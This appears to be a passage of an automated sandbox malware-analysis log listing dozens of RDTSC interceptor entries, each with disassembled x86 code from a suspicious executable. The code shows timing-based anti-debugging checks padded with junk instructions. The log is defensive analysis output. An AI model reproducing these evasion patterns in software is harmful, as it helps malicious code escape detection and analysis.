Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EBA6C second address: 7EBA94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E82h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007F53D9251E7Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDA33 second address: 7EDA3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDA3B second address: 7EDA3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDA3F second address: 7EDA64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A52h 0x00000007 jc 00007F53D9251A46h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jnp 00007F53D9251A46h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50376 second address: 4B503B4 instructions: 0x00000000 rdtsc 0x00000002 mov ch, 35h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov edx, dword ptr [ebp+0Ch] 0x0000000a jmp 00007F53D9251E85h 0x0000000f mov ecx, dword ptr [ebp+08h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F53D9251E88h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B503B4 second address: 4B503BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B503BA second address: 4B503C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B503C0 second address: 4B503C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70665 second address: 4B7066B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B7066B second address: 4B706B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A4Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F53D9251A4Bh 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 call 00007F53D9251A54h 0x00000016 call 00007F53D9251A52h 0x0000001b pop ecx 0x0000001c pop edi 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B706B7 second address: 4B706BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B706BB second address: 4B706FA instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F53D9251A4Ch 0x00000008 or ch, FFFFFFC8h 0x0000000b jmp 00007F53D9251A4Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 jmp 00007F53D9251A56h 0x0000001b xchg eax, ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B706FA second address: 4B70700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70700 second address: 4B70705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70705 second address: 4B70748 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, A0h 0x00000005 pushfd 0x00000006 jmp 00007F53D9251E81h 0x0000000b xor cx, C046h 0x00000010 jmp 00007F53D9251E81h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d call 00007F53D9251E7Ah 0x00000022 pop esi 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70748 second address: 4B70761 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A4Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70761 second address: 4B70765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70765 second address: 4B70782 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70782 second address: 4B70792 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F53D9251E7Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70792 second address: 4B707CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007F53D9251A59h 0x00000011 pop eax 0x00000012 call 00007F53D9251A51h 0x00000017 pop ecx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B707CB second address: 4B707D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B707D1 second address: 4B707D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B707D5 second address: 4B70843 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], esi 0x0000000e pushad 0x0000000f mov ecx, 1D23E82Dh 0x00000014 pushad 0x00000015 call 00007F53D9251E88h 0x0000001a pop eax 0x0000001b mov ecx, edi 0x0000001d popad 0x0000001e popad 0x0000001f lea eax, dword ptr [ebp-04h] 0x00000022 jmp 00007F53D9251E7Dh 0x00000027 nop 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b call 00007F53D9251E83h 0x00000030 pop ecx 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70843 second address: 4B70858 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 4E211107h 0x00000008 mov di, ax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70858 second address: 4B7085C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B7085C second address: 4B7086E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A4Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B7086E second address: 4B7089D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F53D9251E86h 0x0000000f push dword ptr [ebp+08h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B7089D second address: 4B708A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B708A1 second address: 4B708A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B708A5 second address: 4B708AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B708AB second address: 4B708D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F53D9251E82h 0x00000009 add ecx, 46C15CA8h 0x0000000f jmp 00007F53D9251E7Bh 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70908 second address: 4B7090E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70963 second address: 4B7097B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F53D9251E84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B7097B second address: 4B709D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, esi 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F53D9251A54h 0x00000014 xor eax, 3B5193B8h 0x0000001a jmp 00007F53D9251A4Bh 0x0000001f popfd 0x00000020 mov esi, 1213CFEFh 0x00000025 popad 0x00000026 pop esi 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F53D9251A51h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B709D0 second address: 4B70009 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a pushad 0x0000000b jmp 00007F53D9251E7Ch 0x00000010 mov cx, 4B51h 0x00000014 popad 0x00000015 retn 0004h 0x00000018 nop 0x00000019 cmp eax, 00000000h 0x0000001c setne al 0x0000001f xor ebx, ebx 0x00000021 test al, 01h 0x00000023 jne 00007F53D9251E77h 0x00000025 xor eax, eax 0x00000027 sub esp, 08h 0x0000002a mov dword ptr [esp], 00000000h 0x00000031 mov dword ptr [esp+04h], 00000000h 0x00000039 call 00007F53DD893153h 0x0000003e mov edi, edi 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 movsx edx, si 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70009 second address: 4B70046 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edx 0x00000005 call 00007F53D9251A4Ah 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f jmp 00007F53D9251A4Eh 0x00000014 mov dword ptr [esp], ebp 0x00000017 jmp 00007F53D9251A50h 0x0000001c mov ebp, esp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70046 second address: 4B70063 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70063 second address: 4B700BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 pushfd 0x00000007 jmp 00007F53D9251A53h 0x0000000c or ax, 6AFEh 0x00000011 jmp 00007F53D9251A59h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push FFFFFFFEh 0x0000001c pushad 0x0000001d mov edx, 4908405Eh 0x00000022 popad 0x00000023 push 43D99744h 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F53D9251A4Ch 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B700BD second address: 4B700C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B700C1 second address: 4B700C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B700C7 second address: 4B70130 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 3673090Ch 0x00000010 jmp 00007F53D9251E80h 0x00000015 call 00007F53D9251E79h 0x0000001a pushad 0x0000001b mov eax, 71D19E5Dh 0x00000020 pushfd 0x00000021 jmp 00007F53D9251E7Ah 0x00000026 jmp 00007F53D9251E85h 0x0000002b popfd 0x0000002c popad 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F53D9251E7Ch 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70130 second address: 4B7015A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007F53D9251A57h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B7015A second address: 4B7015E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B7015E second address: 4B70164 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70164 second address: 4B70180 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 5AAFh 0x00000007 push esi 0x00000008 pop edx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F53D9251E7Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70180 second address: 4B701A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F53D9251A54h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B701A9 second address: 4B701AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B701AF second address: 4B701B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B701B3 second address: 4B701EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c jmp 00007F53D9251E7Eh 0x00000011 mov eax, dword ptr fs:[00000000h] 0x00000017 pushad 0x00000018 mov si, C52Dh 0x0000001c popad 0x0000001d push esp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F53D9251E7Bh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B701EF second address: 4B70257 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c pushad 0x0000000d call 00007F53D9251A4Ch 0x00000012 jmp 00007F53D9251A52h 0x00000017 pop ecx 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007F53D9251A57h 0x00000020 popad 0x00000021 popad 0x00000022 sub esp, 18h 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 mov si, di 0x0000002b mov eax, edi 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70257 second address: 4B7025D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B7025D second address: 4B70261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70261 second address: 4B70265 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70265 second address: 4B702B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F53D9251A4Ch 0x00000010 xor esi, 78C47B48h 0x00000016 jmp 00007F53D9251A4Bh 0x0000001b popfd 0x0000001c push ecx 0x0000001d call 00007F53D9251A4Fh 0x00000022 pop ecx 0x00000023 pop ebx 0x00000024 popad 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F53D9251A51h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B702B7 second address: 4B702CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B702CC second address: 4B702EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 jmp 00007F53D9251A53h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B702EF second address: 4B702F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B702F5 second address: 4B70368 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, ax 0x00000006 pushfd 0x00000007 jmp 00007F53D9251A54h 0x0000000c adc esi, 03F3A4C8h 0x00000012 jmp 00007F53D9251A4Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, esi 0x0000001c pushad 0x0000001d mov eax, 76FB5B5Bh 0x00000022 mov ax, 5237h 0x00000026 popad 0x00000027 push eax 0x00000028 jmp 00007F53D9251A4Dh 0x0000002d xchg eax, esi 0x0000002e jmp 00007F53D9251A4Eh 0x00000033 xchg eax, edi 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F53D9251A57h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70368 second address: 4B70394 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F53D9251E7Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70394 second address: 4B703C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F53D9251A51h 0x00000009 and esi, 42CD0206h 0x0000000f jmp 00007F53D9251A51h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B703C3 second address: 4B70405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, edi 0x00000008 pushad 0x00000009 mov esi, 125E4089h 0x0000000e mov dx, si 0x00000011 popad 0x00000012 mov eax, dword ptr [75AB4538h] 0x00000017 jmp 00007F53D9251E80h 0x0000001c xor dword ptr [ebp-08h], eax 0x0000001f jmp 00007F53D9251E80h 0x00000024 xor eax, ebp 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 movsx edx, si 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70405 second address: 4B70438 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 movzx ecx, di 0x00000009 popad 0x0000000a push edx 0x0000000b jmp 00007F53D9251A4Ch 0x00000010 mov dword ptr [esp], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F53D9251A57h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70438 second address: 4B7045E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B7045E second address: 4B70462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70462 second address: 4B70475 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70475 second address: 4B704DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F53D9251A4Fh 0x00000008 pushfd 0x00000009 jmp 00007F53D9251A58h 0x0000000e adc ah, FFFFFFB8h 0x00000011 jmp 00007F53D9251A4Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov dword ptr fs:[00000000h], eax 0x00000020 pushad 0x00000021 movzx ecx, dx 0x00000024 mov esi, edx 0x00000026 popad 0x00000027 mov dword ptr [ebp-18h], esp 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F53D9251A56h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B704DA second address: 4B70519 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000018h] 0x0000000f jmp 00007F53D9251E86h 0x00000014 mov ecx, dword ptr [eax+00000FDCh] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F53D9251E7Ah 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70519 second address: 4B70528 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70528 second address: 4B70574 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test ecx, ecx 0x0000000b jmp 00007F53D9251E7Eh 0x00000010 jns 00007F53D9251EA8h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F53D9251E87h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70574 second address: 4B705A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 mov eax, edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add eax, ecx 0x0000000c jmp 00007F53D9251A4Dh 0x00000011 mov ecx, dword ptr [ebp+08h] 0x00000014 jmp 00007F53D9251A4Eh 0x00000019 test ecx, ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B705A6 second address: 4B705AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B705AA second address: 4B705AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B705AE second address: 4B705B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B705B4 second address: 4B705C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F53D9251A4Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B705C3 second address: 4B705C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6001E second address: 4B60022 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60022 second address: 4B60028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60028 second address: 4B60054 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A4Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F53D9251A57h 0x00000011 rdtsc
